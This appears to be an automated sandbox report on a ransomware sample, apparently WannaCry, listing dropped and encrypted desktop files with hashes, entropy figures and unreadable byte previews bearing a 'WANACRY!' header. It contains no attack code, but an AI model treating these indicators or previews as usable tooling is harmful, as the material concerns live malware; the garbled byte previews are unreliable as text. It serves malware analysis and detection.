                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.880264788138098
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bks4C8oUTvYHH3MkEcYEl4y3gGeiGYx50zLYSObAuWSHmMfQSAmcyJjBZfog861:bks58oVH3Mk+8fgfiGBLYSAjGdSAmTtd
                                                                                                                        MD5:346EF6D0D5977A507240CD2EC8C44AB2
                                                                                                                        SHA1:7BD5D541C25EA261BDB602B50E5C4A38DBB8830C
                                                                                                                        SHA-256:B8706A82EAD7DEAD8037AFD87F48CA30C938B051BF04252F36FD0FC93432BA1C
                                                                                                                        SHA-512:961EFE8817A091F52A44C8F6749490DCAAADA4E5473E814FEC759814B921417F2903505510AA3820776B70275458E1DF9EB2AAC3833549A1AE0C48B45E3CA3E8
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......y.Dj...N..!..k../4@....@..n{...4s...<)g.}........M..&..H.Z.....O.Z.,..f...^@.....;.n3.....r~...G.,.|.....I&..E........'.(V......,..b\.y.3c...GY."d.e..,A..z.;...J&..F..M=.........T....Q..W.6^.=....;.*.N.1..........A.>....'.J..w..D.....X].#.(............._.......n....Q..1......(....m.h.+<....*..{.o.P..,S..S.Hq`.2..!N...1.o..iX..l.v 26.q.?..x.p.^..-.g...O..y..,..U.>.3AT..(*>...8a..d..c.t...9. .^.H.(.e2......lHm.t$....Z..w.Yp.j..........6isQ.....~..5]....c.2v.N6.q...<a.At.h.e...4..6.<.....V.<..my..H..;9.,..k{yp<........"...Gx......2l..}....y..JQ)...5...f...C.u[d.^.=.k#F.k...$^.)..?Z.....z.U...jH.8.......ys....`..i..r.._.Y...}.d..6=lS.#....)./q..._6|.a..[Ti......G.B...B.a..[h......\.*>...@O.H+.G.....N.3......$..Bwz..$...Uo...6.0D.....m.kYq..o...`.!..9...`.~..4...Q......n.(8..S...#+..~...e....d.r..!2jI..Z=-.g..3......Y.....5.......9-...Uj./?.b.l.........B>.mO8."v3,.L.j.pX...Ac...O....P.h$v.F]..^.J.*5.\..}.4C~%.k..#?..X1....WOM..qD.%

                                                                                                                        C:\Users\user\Desktop\BNAGMGSPLO.mp3.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.880264788138098
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bks4C8oUTvYHH3MkEcYEl4y3gGeiGYx50zLYSObAuWSHmMfQSAmcyJjBZfog861:bks58oVH3Mk+8fgfiGBLYSAjGdSAmTtd
                                                                                                                        MD5:346EF6D0D5977A507240CD2EC8C44AB2
                                                                                                                        SHA1:7BD5D541C25EA261BDB602B50E5C4A38DBB8830C
                                                                                                                        SHA-256:B8706A82EAD7DEAD8037AFD87F48CA30C938B051BF04252F36FD0FC93432BA1C
                                                                                                                        SHA-512:961EFE8817A091F52A44C8F6749490DCAAADA4E5473E814FEC759814B921417F2903505510AA3820776B70275458E1DF9EB2AAC3833549A1AE0C48B45E3CA3E8
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......y.Dj...N..!..k../4@....@..n{...4s...<)g.}........M..&..H.Z.....O.Z.,..f...^@.....;.n3.....r~...G.,.|.....I&..E........'.(V......,..b\.y.3c...GY."d.e..,A..z.;...J&..F..M=.........T....Q..W.6^.=....;.*.N.1..........A.>....'.J..w..D.....X].#.(............._.......n....Q..1......(....m.h.+<....*..{.o.P..,S..S.Hq`.2..!N...1.o..iX..l.v 26.q.?..x.p.^..-.g...O..y..,..U.>.3AT..(*>...8a..d..c.t...9. .^.H.(.e2......lHm.t$....Z..w.Yp.j..........6isQ.....~..5]....c.2v.N6.q...<a.At.h.e...4..6.<.....V.<..my..H..;9.,..k{yp<........"...Gx......2l..}....y..JQ)...5...f...C.u[d.^.=.k#F.k...$^.)..?Z.....z.U...jH.8.......ys....`..i..r.._.Y...}.d..6=lS.#....)./q..._6|.a..[Ti......G.B...B.a..[h......\.*>...@O.H+.G.....N.3......$..Bwz..$...Uo...6.0D.....m.kYq..o...`.!..9...`.~..4...Q......n.(8..S...#+..~...e....d.r..!2jI..Z=-.g..3......Y.....5.......9-...Uj./?.b.l.........B>.mO8."v3,.L.j.pX...Ac...O....P.h$v.F]..^.J.*5.\..}.4C~%.k..#?..X1....WOM..qD.%

                                                                                                                        C:\Users\user\Desktop\GAOBCVIQIJ.jpg

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.808005484082637
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:6sST5e+N1sL0j17r8AqncSBdlBa4SFdj2hgrVOu:6sST5lgXddlveZoPu
                                                                                                                        MD5:42A3856076D25F46B603033156EFE015
                                                                                                                        SHA1:954BEA38374152C641DEB68C6FD34C36F68AC706
                                                                                                                        SHA-256:460269EC12823BD7726CDA72AEE874C7F56699899EA9413B9DE84A96FC09FB44
                                                                                                                        SHA-512:00198B7F80CDBB5C8E4F93E7CA1BB816D8AF784E645750DDA39BFC250A06B909B8C60B50B1BEB77D1E18E26EB30223F0A388397AABFBE67C28DCB83B9933585C
                                                                                                                        Malicious:false
                                                                                                                        Preview:..ZO.]u.M.W[k_.-.1R..J.CTY,xw.........$8.vB......Y....3...r1G.I.C.m.-.1.?(El.mr...n...._.C..:....\w..`..:.6d.#...h.8.7..wn..\..X._..@..KI...ud.#..T6..`.o$'U.\.0....(.o5....M.w...&P.%.W~E...l3\..-..,."ot.q.....=..<_..,n..vjmN..U..UE...5h.r.0a........q8.hJU4..\.....}z.o[.....[<.lf.s=.B.....?..;.kCu..[.....(~).d]T...P..~e....Y.SrY.c..h...s..&..v..V.:....Quz..h.^..3@q.i^.99...R!......t:3%...^.....,.&|G.).;..`.8..C.k$..=.&%..`..@I....W_jX}.$.K..}..sX..f.CV`B.U.)QrY.r\....-.?.....$9X.7t.=]..I..b.]......<.zew..R.-W$gZ_(..2..F>Q.=.."..I.Qy.....}.[6..Aa...1.!.."..mzt...`..0..>;.#.3.I..<).=Lk.cC`Bv8..K.<.vN..b.yf..D.....J.....zF...Q>{..j...F.]...|..B...uE.G.......R.....s...i..D.|n.3...^.a...3.W.4. ......FH+...k.f...qz....W.(:Rt..n..`|.0\N.Um.s...M....z.g........g..[Z.IKr..! .KL..PU....-...]$2d....b..m..`Q@@..7.@.NQ_....7t......Bg..=......8a~6..e....Q.]......iM......s.$.:$...cg_}..h.i.R...:......%:...t.=.V;Q.\...R&.Ew..gV.]...&b.e....g.I.oN..jAPN....

                                                                                                                        C:\Users\user\Desktop\GAOBCVIQIJ.jpg.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.8307048814411555
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkenLOAOJwile/aMNLHQ92Rlvg9iA+kPiJEJ1sI/l610zuMvVaiuytDiAD2CTeDT:bken4Uo0Bg9iePiCgWl6YGKiADLesm
                                                                                                                        MD5:891A97680B4CACDC5E8693C0C252AB33
                                                                                                                        SHA1:14A154FF8860E85A899B342704E17831C63E7478
                                                                                                                        SHA-256:8370D4824235C03D05C85F49B536D501EA4ABE5A04EA5CB0DF980EB0A0D227B5
                                                                                                                        SHA-512:E097A176A72EDE1A7A49EF439F8188B42862F1E196C271DCF4CCA58F1D602D29A19E03F93F63650E66C73EDCE174841E91AF3C5228EB74B7F4536354998735C3
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....$u..*..<..*.....~..B.E.Y....A.......F9...|....h..%..:.....3.;.c&."{0.2....i....(w."a..f...`$t,...!.{....i.....N..!qc..zB....s...v.U......(..5......Kf2t..... Z.W.}.*.E...P^4.k..h.w...x<k.$.#^FA...V..^F.W.;.d.....c.O.i.Z....`o...q...p00Z=...h.-e..............e7t.3J.d.;xp.W...]..q_...LY.q&w..^n....En.,.t..n...........|....Tq.. H...../.|m..i...}.-....&.!..[.cL..Z.kAi.e..[..P!..h-....5.z...L...%..=6.f..k......:#9..W..;.,..BrZ.....+<...q......j.E.hX..ab@....L...3.~..w.5.....%Cl...m...a.........k(...&..gy:.nm.x... e..L.dM.Xq...l...^..p.&"...Acy.......{...z.@...QW...|9.i...*>r...1.M...h..Qv.*H..ll.....).....~...jD...a.....v.GV.I...K.@p.o...I._mVqP<Q..}.......K.[...l.9kJ...VOr[../..7?.?...tP.G.1..d4f..Oz.w..C.0Q......,.hz..[/^R.o|.~.6.4...} .....r...i..Nm?...z<Lf1t....<BF."1.<.7&...n.X.G....%..!..Mb..K...p.......A...;.q.......e...Dp3.X.\2Am.b......3&....eE<5..W..|.VQQ..*....&....LX..57....0.U.^.v....A..T(.K.?.v....x.}..;f."...D..}..%-.h

                                                                                                                        C:\Users\user\Desktop\GAOBCVIQIJ.jpg.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.8307048814411555
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkenLOAOJwile/aMNLHQ92Rlvg9iA+kPiJEJ1sI/l610zuMvVaiuytDiAD2CTeDT:bken4Uo0Bg9iePiCgWl6YGKiADLesm
                                                                                                                        MD5:891A97680B4CACDC5E8693C0C252AB33
                                                                                                                        SHA1:14A154FF8860E85A899B342704E17831C63E7478
                                                                                                                        SHA-256:8370D4824235C03D05C85F49B536D501EA4ABE5A04EA5CB0DF980EB0A0D227B5
                                                                                                                        SHA-512:E097A176A72EDE1A7A49EF439F8188B42862F1E196C271DCF4CCA58F1D602D29A19E03F93F63650E66C73EDCE174841E91AF3C5228EB74B7F4536354998735C3
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....$u..*..<..*.....~..B.E.Y....A.......F9...|....h..%..:.....3.;.c&."{0.2....i....(w."a..f...`$t,...!.{....i.....N..!qc..zB....s...v.U......(..5......Kf2t..... Z.W.}.*.E...P^4.k..h.w...x<k.$.#^FA...V..^F.W.;.d.....c.O.i.Z....`o...q...p00Z=...h.-e..............e7t.3J.d.;xp.W...]..q_...LY.q&w..^n....En.,.t..n...........|....Tq.. H...../.|m..i...}.-....&.!..[.cL..Z.kAi.e..[..P!..h-....5.z...L...%..=6.f..k......:#9..W..;.,..BrZ.....+<...q......j.E.hX..ab@....L...3.~..w.5.....%Cl...m...a.........k(...&..gy:.nm.x... e..L.dM.Xq...l...^..p.&"...Acy.......{...z.@...QW...|9.i...*>r...1.M...h..Qv.*H..ll.....).....~...jD...a.....v.GV.I...K.@p.o...I._mVqP<Q..}.......K.[...l.9kJ...VOr[../..7?.?...tP.G.1..d4f..Oz.w..C.0Q......,.hz..[/^R.o|.~.6.4...} .....r...i..Nm?...z<Lf1t....<BF."1.<.7&...n.X.G....%..!..Mb..K...p.......A...;.q.......e...Dp3.X.\2Am.b......3&....eE<5..W..|.VQQ..*....&....LX..57....0.U.^.v....A..T(.K.?.v....x.}..;f."...D..}..%-.h

                                                                                                                        C:\Users\user\Desktop\GAOBCVIQIJ.mp3

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:DOS executable (COM)
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.818324018433487
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:LIAfKNPTk4/tcrBF3n74Y6xDu/gS80MhRVMK51:LI9rkBXnsYcD/SlIVBv
                                                                                                                        MD5:B7606E8A6C12DE3B7A79EB7CD6FD8B2B
                                                                                                                        SHA1:530164177348B07082485496E93EC82112DDC2A1
                                                                                                                        SHA-256:9B31D1AB061D8A7726B54C53FE3B5155BB53AE317139C673610536E44B3B6046
                                                                                                                        SHA-512:9E66A726A90796ACA2E70722A34A8681454708E08EED5673887725AD80345AF5088243ADA16CD56B9DC9D3ADEE53C1E81E2C6A56C8F625E67EE3DA4F934CB92A
                                                                                                                        Malicious:true
                                                                                                                        Preview:.}l...*.^......z .&......&,.Y._.%...(.`...g...(>....P....U.2P.:.R.7.v_8.-.._..O....9@.".<......5...R..ky.B.J.......2..6+y...?,..D..-...&.G.a.}.".w......{2..0.Y......g.......Z/"(.......N..V.............b.........W.?..nyF#'.bP<...*..u;iJN.=U.:...2.`..w=pZ.s.K..j......_...<3..cJ..:dEs.........MU.C...e..%...z.Ab....Yy...*.."H.1.A;9..*./.B.d..O.....J7S.t.r.>Z..q..%p?'..a.u......[O.G..[.-@...(..f...^M$.S...4.-..dr..94..o.....V z;.7...4dK2.7"..?..X...)D%....:......|..~[.......Nkv..i......Rs...N>E.5E^&.. .d....-.....m......`t..'..K..{q@.,.,..n.".....#x.....He..[........2G`..q......;...cy.p....z.8&..b....{.....k. ......LN4uGW{.)k..N.`g.\.'..v.X..K.J2=.X.2]...2.4O.U.....c.....2..`.:..O<..-..m2...W..N.B..vV^.x..I\...Ix.85.x..f.....h0...mk........]._~+d..W....Dd......4Q!@|..c[...I_._..[Lk[+....h.R.....L.....)..GA^..Fo`2xF......h.;...%.^..-.g1G.VZ......Y....z|....q.E.:...vY..t....:T.....]..~.).%)~#iQ.#@1.hi...s..2.M^.....vgC......(.h

                                                                                                                        C:\Users\user\Desktop\GAOBCVIQIJ.mp3.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.849640400286087
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkroCafdhSltmqsVlI9zB9HdgqwDnvGZNkNtNvVAloLy5MR8jWw8bq5:bkrO/+mXXIxAv4Kml6y5FajQ
                                                                                                                        MD5:80E36326AD7E499844B3110689608436
                                                                                                                        SHA1:A77D20554D0FE58FDC21282053898E8EA95B1769
                                                                                                                        SHA-256:63A8F181B212CCCA8B86E5780E9E0906094514C98C2A6CC66393B480168C34A2
                                                                                                                        SHA-512:DE7552D3E13D4259126AA045D08405A610703C0B8B5C49953ABBC4AE45F2F8945D5F04057FF09DEA6AB05B1B71C7400364B5C3F7B1BF3E2F4EF8A9C48888ACF7
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......}...h..I.L.`)...n..+.s.{.)......K.L....r.[...9.....,.P3...."..|..C.N...s.K........B.k.P..k.Y.d..-.J...(H@......n.6v.`. (.>.WUs3...1.l..].G..2....?.M\..uQ...]..}..~...436.).M..V`.f....m.K..Y......^.w.dd.vp....ph+.549/7....o.g..q.......[iOb8...............@=.xN8V.......q..A.S\=.2....gX.f....Q..C@)......].SV...t...c.j.......ww+.k.y....=..K.<..G".-..2...N.c_.....r..!.(/'..........aw...E.{dy..}...Z...i..Z...........!.<R.......4.>D.v..8.e2.'...<g..yZ.{...L.."...........R........W.J....Yx..]...J...y.!9.:a.9.]....i.'X...6.......T.HCM.?9...*6.=..?..t}f....:.Js..n.Z.O..'../.@..h?..~h.{....0*&.h.#.g....~B...p..C..s..q...r...p..wL.SC@.w.......k.d..4...i...D...J<._...(.L.f.<..(.........Ov'..c.K..h.....b......@...."B.x..bg.e..M.l..?s.t.Ak....^)....4..-S....m.....*Nr.......[!..W%..........t.t..+.n~....a.....gpz..CmZ.FL).dNc.5.ui..O...fr...WH.&.X...U.k..QV[".T.$.8@g..H...|.........,+H....o...hp..x.9Xo..........|......}Y../..e.nT.~x....

                                                                                                                        C:\Users\user\Desktop\GAOBCVIQIJ.mp3.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.849640400286087
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkroCafdhSltmqsVlI9zB9HdgqwDnvGZNkNtNvVAloLy5MR8jWw8bq5:bkrO/+mXXIxAv4Kml6y5FajQ
                                                                                                                        MD5:80E36326AD7E499844B3110689608436
                                                                                                                        SHA1:A77D20554D0FE58FDC21282053898E8EA95B1769
                                                                                                                        SHA-256:63A8F181B212CCCA8B86E5780E9E0906094514C98C2A6CC66393B480168C34A2
                                                                                                                        SHA-512:DE7552D3E13D4259126AA045D08405A610703C0B8B5C49953ABBC4AE45F2F8945D5F04057FF09DEA6AB05B1B71C7400364B5C3F7B1BF3E2F4EF8A9C48888ACF7
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......}...h..I.L.`)...n..+.s.{.)......K.L....r.[...9.....,.P3...."..|..C.N...s.K........B.k.P..k.Y.d..-.J...(H@......n.6v.`. (.>.WUs3...1.l..].G..2....?.M\..uQ...]..}..~...436.).M..V`.f....m.K..Y......^.w.dd.vp....ph+.549/7....o.g..q.......[iOb8...............@=.xN8V.......q..A.S\=.2....gX.f....Q..C@)......].SV...t...c.j.......ww+.k.y....=..K.<..G".-..2...N.c_.....r..!.(/'..........aw...E.{dy..}...Z...i..Z...........!.<R.......4.>D.v..8.e2.'...<g..yZ.{...L.."...........R........W.J....Yx..]...J...y.!9.:a.9.]....i.'X...6.......T.HCM.?9...*6.=..?..t}f....:.Js..n.Z.O..'../.@..h?..~h.{....0*&.h.#.g....~B...p..C..s..q...r...p..wL.SC@.w.......k.d..4...i...D...J<._...(.L.f.<..(.........Ov'..c.K..h.....b......@...."B.x..bg.e..M.l..?s.t.Ak....^)....4..-S....m.....*Nr.......[!..W%..........t.t..+.n~....a.....gpz..CmZ.FL).dNc.5.ui..O...fr...WH.&.X...U.k..QV[".T.$.8@g..H...|.........,+H....o...hp..x.9Xo..........|......}Y../..e.nT.~x....

                                                                                                                        C:\Users\user\Desktop\IPKGELNTQY.jpg

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.815591993977061
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:tzXGBteluKgHbQXH9j4ft6N/45NGsRRgJqGOPwn:dWBtAtgMNjKt+AnGVJqGOPwn
                                                                                                                        MD5:2D49930301151F8620E16A2AB93F51B8
                                                                                                                        SHA1:54AE10FD6CD1AE51DCC6CB9560B48881F0C7F872
                                                                                                                        SHA-256:833B147407A6E5C6762B9355A549E4318BC5DCE735BF23B83D9BA8889E397FFB
                                                                                                                        SHA-512:896929B576E065574993FB2C8CBA3C0D4F48D48FF5D6ACED9DD50D59B017212C0A02DB038F067CAFDEC33487C9A835A84E938E156558C7B080B45F63D9CDAC57
                                                                                                                        Malicious:false
                                                                                                                        Preview:...i....]..+P/..g._......./i..;LN.R.z..<.f?%].E.....`.H...!.PW..jS...H.........d.S".V.....:...T.$..@'Z..'.X.....P.1L..&3'GV.i.$..2.vxl.?..+.T......l%./:W.Ce.mEd.(c...a..%./1..E..61..?..V'D.....=......B]4.....|.Z.{._.1)i..|[0,.xl \..A.....,.j...._...6d8-...d..!......0.eQ"T%-D/:.r..E..-....Y_.jCI[..-....m.1.z X.\...<.......E....O.H...w8............y......K).._.."3..8o...lpGY..F....3G}`I.......T..ra....9....u2.....4.........=.......T.t....n.!4...._r....s..#..F,.C..V..y..gr..PsK.S5....M.@..C{4.{.+.6.!...#...XX$"...G.....+.0....$..zus...%.r">x.@..1.r....$.E/.9..u...H.^....%...0...B~!.d8.3.m`1J.b.......)..g.x.ztXK..8...|....s..#...n....#.e.c..ql....i(..o.@F@...;3.N....:.N{..*r.x..H3sK.4....[...... .q...?..xZ:.....5g.3 .rM fD..D.}!.1d.|'r..X.{..R......)......._........ku6....B3.-.k.._|i.n.xG.\.E.+B1k.5....[..v.`.Go....7.!t...$[.b.......6.....z!...>.b.p........j.bE]...Pcf..l.C...U..I.\.T...q.......d)4QB. .rO.n.q}..d..N...P..N v.T.!e!g..+.;c...I.@Z..

                                                                                                                        C:\Users\user\Desktop\IPKGELNTQY.jpg.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.822826974547714
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk/s/lkLmIP2SaVY4gd+DkA22RvdNCl0aBUxk5yQT2WaV3hwgGWXQ54WfDyC:bk/s/2yxSLd+DkANtDmBUxEyQyWtPhyC
                                                                                                                        MD5:7E47F97441DBAD1FC612F955A793B093
                                                                                                                        SHA1:95D7717E1BD82217BCE76C215C0CBD46E8E6F883
                                                                                                                        SHA-256:6EEA0726412AB4BD8262075D566C2D9401E08DA03A40542E5ED2DA59F22B8BAB
                                                                                                                        SHA-512:A4379766BD5B6B137ABC537A7265A1A906192C3B6061E3486C26DABBAF2284F8E8332C8387C0CE508241EE68B8B7D6F96687A4F1ABC496493C1313D64AE5BCA9
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......uh.H............../....l.M.j..%....._...D..}.1..e..z..@@......El.m:.R.t.2.e|..z....7.....D.CL...oF.s....Z\.Z...H..>.."".............z....w.l+^K..ZJ.,....!..e..f%.....)..k..[L.4.}.6..U.....E[.&x..p....U'..|.z..bN.IE...|#..T..w.M.M2C......[E.................FJ.....TF......M......N..!~o..N.r...v.SYy.2....0.6iYr.`.........r.p..xp9.\....O8&......ze.8.....&....jp.Y.tSJ)n....f.y.....\....O...CZ.wI.Q9.Gf.i....U..K.Ka.A<...w8D.1j|..>......)...F....D`#.CU..'Yqq.B....._1..%>.w.....3:.@.u..F...MaO.w...1....X...f&3...2........^Td]...8........3P..Z...^..z....=..J....a|.:.*-%.h.W...%9..........f...P....."...n.s..]....<..n.;!$#49.@..~.`@..5.&..^....mz-..E .^C.B,X...#.....2Y3.\K...C..?h.24*T...Ql.;..41..r..9.]o..s.....:.3........%qck.....J........j.F....'....3r'._....Y..6..`<...e...).)...Z....z4i...E.*.........._7........8.@...b..@.F.*.8..jxb..o)..?.Dj-<x.6....7.A.x.4.0,.......I.6.}.B[.7.....-..k.....Q.P..x..Da_(Q9P9}........hz...&.&....

                                                                                                                        C:\Users\user\Desktop\IPKGELNTQY.jpg.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.822826974547714
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk/s/lkLmIP2SaVY4gd+DkA22RvdNCl0aBUxk5yQT2WaV3hwgGWXQ54WfDyC:bk/s/2yxSLd+DkANtDmBUxEyQyWtPhyC
                                                                                                                        MD5:7E47F97441DBAD1FC612F955A793B093
                                                                                                                        SHA1:95D7717E1BD82217BCE76C215C0CBD46E8E6F883
                                                                                                                        SHA-256:6EEA0726412AB4BD8262075D566C2D9401E08DA03A40542E5ED2DA59F22B8BAB
                                                                                                                        SHA-512:A4379766BD5B6B137ABC537A7265A1A906192C3B6061E3486C26DABBAF2284F8E8332C8387C0CE508241EE68B8B7D6F96687A4F1ABC496493C1313D64AE5BCA9
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......uh.H............../....l.M.j..%....._...D..}.1..e..z..@@......El.m:.R.t.2.e|..z....7.....D.CL...oF.s....Z\.Z...H..>.."".............z....w.l+^K..ZJ.,....!..e..f%.....)..k..[L.4.}.6..U.....E[.&x..p....U'..|.z..bN.IE...|#..T..w.M.M2C......[E.................FJ.....TF......M......N..!~o..N.r...v.SYy.2....0.6iYr.`.........r.p..xp9.\....O8&......ze.8.....&....jp.Y.tSJ)n....f.y.....\....O...CZ.wI.Q9.Gf.i....U..K.Ka.A<...w8D.1j|..>......)...F....D`#.CU..'Yqq.B....._1..%>.w.....3:.@.u..F...MaO.w...1....X...f&3...2........^Td]...8........3P..Z...^..z....=..J....a|.:.*-%.h.W...%9..........f...P....."...n.s..]....<..n.;!$#49.@..~.`@..5.&..^....mz-..E .^C.B,X...#.....2Y3.\K...C..?h.24*T...Ql.;..41..r..9.]o..s.....:.3........%qck.....J........j.F....'....3r'._....Y..6..`<...e...).)...Z....z4i...E.*.........._7........8.@...b..@.F.*.8..jxb..o)..?.Dj-<x.6....7.A.x.4.0,.......I.6.}.B[.7.....-..k.....Q.P..x..Da_(Q9P9}........hz...&.&....

                                                                                                                        C:\Users\user\Desktop\LSBIHQFDVT.png

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.840456827703044
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:LMyWetqO4f6b0CrXk/63jOYFWdcAqoMNbo/hyUFYrGYyCBi/WySdQ:L5JJ4f6ICjBj9FWSAuC/h2r6OzQ
                                                                                                                        MD5:67E0D7794E3AF27608E4E4CE9C376100
                                                                                                                        SHA1:E2FE1A54A96170677122D710DEB2C05C2BD2BC59
                                                                                                                        SHA-256:B869E919A9F0701E46E5E967FA84E70C444CAEED4B257BEBC095FDE5AEED7579
                                                                                                                        SHA-512:AF15A6F71B9BECF47FF97B2FB03B7F3D16352E971BE1EED154A2F87BB184948335842A7AC7DEC04CF5D660EF9388948A4529944E43883E5B3C78AB322BE6ABA2
                                                                                                                        Malicious:false
                                                                                                                        Preview:.(.rs7..d.'.....\.".....>6.g.X.....c..A`b..~.kHK.r........rk......ch..n.&.w.#V(.-..Q....;.>E|7.XihH+.K...T.g..'.u....'rl....X...Z....r..&....a.2'q..M..f.a3._..F...THxf#W.....%.\...cW.Qr.V=.....@pv.._..WCW.k...h.6....9..m$r8....s...;...............k..W... ...>B0.l.T...WW!QW.C_A...gW+......?.9......$T*L>.Q98.s.C...b8>.{$.^.e1c..J....[...2...R;B....j....:0..............0..y......`(?$..;.........E.Q.!.Ot.:..Sv.R&.,.T..T&.e<&.....F..O`......q.....,...\#e''.6...r~..OjP.b8..r^.r{+.C...Vx.(.Z.<0 U4;.[.D..o.r...F.s..b...S....b......f!.........o.....w.....7A.N..$...8w.....B.#..h..\......".7#Jq..e,.....9.w.VV..v.0.C.y..i.L..]BJ.....i..H..\z..y.B@.V...;F&..=V....d[.....N..|.....-.U......|.A.|..5.i.2yp,j...'.f........y.Tdc.....8XO..]H".2...v.de...J.>KT*.L.?"r..-"......v....s[..#...`%@....I>..BW.|.{........9.....]^I..x.?c..n..Cd.).....+..*E...,t..UN....&a.e....`..5..O.......XyG.G..-.......C}.J..[.p..,A..f.*.*.t+.Y.E.vK|.\JI@.....PI,....T.......N...

                                                                                                                        C:\Users\user\Desktop\LSBIHQFDVT.png.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.855614982844185
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkhUlc972EshJ6yG7v0A9h+vIO8DPxTfDiiZMKdk1s4nRuElflv+QxKR52ho1:bkh772V6V0Wh/xxlSKdF+V+QU51
                                                                                                                        MD5:047CCFB12842D577907D4CC28DFDBA08
                                                                                                                        SHA1:4662352F709AA98321F2D23A727919981AD63D1E
                                                                                                                        SHA-256:26A5DF7277FA94106131159F689D78A61EE7C44CBD7B50738F4AB347E41D6E18
                                                                                                                        SHA-512:D219F2D195B507D0DACB1EEC58552CFC0393E6DE9AADF0515238ABB61333F154B47088A60B6E49854546E732082D5FFBEAA2B4F1609302C60E182E0C0BCCE7FD
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......W.....Apw).W].v.h%..L..$....Z"iV...$..-...'.O..V.......X..!3`..:-y.....)>.v...Z......'Iv.....w'.. ..}..x%-..0.....b.....;.b3.}..Zt..j.....?9.0.".....]xoK..r.<(Gdo.-~.SZ@R...=.P.......9....+..SV......N...9.G..5w.t...Z.q.N8.z...g..;..u..xOU.T..............[.{;..H. ..([..................XgLT>..9y..,.1...57.....,..O=.O....A.7'x\)6,..]....4..f;u 3..E.7..<.......-Q..^M..B>s.h.b...D.....s#1....k...J....Z$.....$>.V.....m.l.F.X..F..D..l.E<.}...%Le..P..<y....Z=w....].m..-.S..*!E.<..]...[....Sd.../..:.q.C..=,.....J..8.D..c<.N...#.Q&A......z..v.....B.F.C;......|d..Z..j..%..H#.#c...$..c......9...sS:Q...`...L..]..i....O..@~.NR.7K....tH....^...._/+a.UB.e.%.K....V....Ry..%-.0$6.la...D.0.N..b..J2..&..>..6....~.,&O.W*....V./.px....k .q{.....e..[r:[4.7t.t.:.]....}!...,..:}-._!...0.C...Ck........y..'.TYG..._/}.;..\...n.R....5.9..._...iE.!\h?.L..E......{..F"".]|#..:d..:h....mz..P.b.W...&#4.x..3.............9.......=;.-.. ....w..6s...p.g

                                                                                                                        C:\Users\user\Desktop\LSBIHQFDVT.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
